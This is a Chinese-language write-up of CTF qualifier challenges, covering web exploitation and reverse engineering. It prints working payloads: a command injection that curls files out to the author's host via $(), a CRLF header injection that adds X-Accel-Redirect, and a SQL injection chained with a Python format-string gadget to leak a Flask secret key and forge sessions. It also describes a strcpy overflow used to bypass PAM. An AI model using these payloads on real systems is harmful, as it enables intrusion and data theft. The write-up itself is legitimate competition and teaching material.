自從上次去打 HITCON Final 之後,好久沒打 CTF ㄌ

這次 EOF Qual 變成個人賽,取前 80 名組成隊伍進決賽

Web

DNS Lookup Tool: Final

題目是一個非常明顯的 Command Injection

$blacklist = ['|', '&', ';', '>', '<', "\n", 'flag', '*', '?'];
...
exec("host {$_POST['name']}", $output, $retcode);

可以看到沒擋 $(),所以可以直接執行其他指令並用 curl 把 flag 帶 出來

-a -s 0 $(curl https://mysite -X POST -d "$(ls)")
-a -s 0 $(curl https://mysite -X POST -d "$(cat /$(echo fl)ag_kWpo36uVYABwlTaA)")

AIS3{jU5T_3a$Y_c0mm4Nd_InJEc7ION}

Internal

他的 /flag endpoint 會直接回傳 flag

但被 nginx 的 internal 設定擋了下來

location /flag {
    internal;
    proxy_pass http://web:7777;
}

直接參考 Orange 的這篇 Olympic CTF 2014 CURLing 200 write up

internal 代表只有 localhost 才能存取

或是 response 存在 X-Accel-Redirect: https://others/web 的 header,這樣會使得 request 被傳遞到 X-Accel-Redirect 所寫的位址

在他後端的程式碼中也有地方可以讓我使用 %0d%0a 來控制 response header

...
URL_REGEX = re.compile(r"https?://[a-zA-Z0-9.]+(/[a-zA-Z0-9./?#]*)?")

query = parse_qs(urlparse(self.path).query)
redir = None
if "redir" in query:
    redir = query["redir"][0]
    if not URL_REGEX.match(redir):
        redir = None
self.send_response(302 if redir else 200)
if redir:
    self.send_header("Location", redir)
...

所以 redir 的地方塞 http://localhost/%0d%0aX-Accel-Redirect:%20/flag 就好了

AIS3{JUST_sOM3_FUnny_n91NX_fEatuRe}

copypasta

網站本身會將你輸入的內容使用 format string 塞進存在資料庫的模板之後,將結果存起來,並給一個 UUID

而只有知道這個 UUID 並且這個 UUID 存在於 session 之中才能得到結果

網站在啟動的時候就會將 flag 存進去

@app.post("/use")
def create_post():
    # get template
    id = request.args.get("id")
    tmpl = db().cursor().execute(
        f"SELECT * FROM copypasta_template WHERE id = {id}"
    ).fetchone()
    content = tmpl["template"]

    # format
    res = content.format(field=request.form)
    id = str(uuid.uuid4())
    db().cursor().execute(
        "INSERT INTO copypasta (id, orig_id) VALUES (?, ?)",
        (id, tmpl["id"])
    )
    db().commit()

    with open(f"posts/{id}", "w") as f:
        f.write(res)

    session['posts'] = [id] + session['posts']

    return redirect(url_for("view", id=id))

@app.get("/view/<id>")
def view(id):
    if id in session.get('posts', []):
        content = open(f"posts/{id}").read()
    else:
        content = "(permission denied)"
    return render_template("view.html", content=content)

可以看到獲取模板的地方存在非常明顯的 SQL Injection

也就是我可以獲取 flag 的 UUID

同時也可以利用它以及 format string 來獲取 app.secret_key

最後就能自己偽造 session 並獲取 flag 了

4 union select id,id,id from copypasta
4 union select id,id,"{field.__class__.__init__.__globals__[__loader__].__init__.__globals__[sys].modules[app].app.secret_key}" from copypasta

AIS3{I_L0Ve_PaSta_@Nd_cOPypasT@}

Reverse

flag generator

用 Ghidra 打開後會發現它本來要寫一個叫做 flag.exe 的檔案,但是並沒有呼叫 file write 之類的操作
所以用 x64dbg 把檔案抓出來就好
執行之後會噴出 flag

AIS3{U51n9_WInd0wS_1S_sUch_@_p@IN…}

stateless

程式裡面有一大堆的 state ,而這些 state 會對輸入做操作,然後將結果與某一串 bytes 做比對

我ㄉ解法就是用工人智慧將反編譯出來的結果寫到 C 裡面,然後觀察 state 的執行順序

接著用工人智慧將每個 state 的運算式都弄出來

最後用 python 把結果逆向回去就拿到 flag 了

flag[0xe] += flag[8]    + flag[0x23]
flag[9]   += flag[0x16] + flag[2]
...

AIS3{Ar3_YoU_@_sTATEfUL_0R_StAteL3S5_CTfeR}

PixelClicker

首先用 Ghidra 反編譯之後,直接查哪裡會用到 MessageBoxA 之類的函式

程式給你 600 * 600 的不同像素,點這些像素 360000 次之後它就會跟一張圖片比對

想當然就算身為工人智慧也不可能真的點哪麼多次

於是就接個 x86dbg 直接把那張圖片拿出來

click 3 times

AIS3{JUST_4_5imPl3_cLlcKEr_gam3}

Bam

程式是一個魔改的 PAM

所以就是反編譯的時候搭配 GitHub 上的原始碼去重新命名各種變數

它也有提供存起來的 hash

$1337$L5a3756586JMW638tG4245m7x033Wr4K14zbP6q6627K9Y63$321Yp3n72b1ot69tOe8acSo0y0z8f1774fU5eWene7p9aQac

這邊是程式被魔改的部分

bam1

可以看到它會移除 hash 前面的 $1337$之後用 $ 分成前後兩段

然後再將它與 password 一起塞進比對密碼的函式

而比對密碼的函式大概長這樣子

bam2

首先會先將分割出來的前後兩段 hash 做一系列操作生成出 hash3

接著再將輸入的 password 與 random(隨機的 bytes) 做 xor

如果結果剛好等於 hash3 就可以登入

這邊值得注意的是 strcpy 這個函式,由於並沒有限制長度,所以其實可以使用 Buffer Overflow 來覆蓋 random 裡面的值

也就是說 p 以及 random 都是可以自己控制的,所以只要知道 hash3 就可以登入了

hash3 我是靠 docker 裡面接 gdb 拿的

最後使用 Python 產生一個 prandom 都是可以印出的 ascii 的字串,當成密碼輸入就行了

hash3 = b'\x58\x6d\x77\x4f\x64\x68\x65\x75\x6b\x48\x37\x6a\x77\x51\x42\x6c'
r = ""
buf = ""
for i in range(16):
    for j in string.printable:
        if chr(hash3[i] ^ ord(j)) in string.printable:
            r += j
            buf += chr(hash3[i] ^ ord(j))
            break
print(r+buf)

#0001000000a00000h]G~TXUE[xVZGar\

AIS3{cU5TOM_s5H_aUth_BaCKdoOr_i5_c00l!?!?}

結語

我不會打 PWN,輸光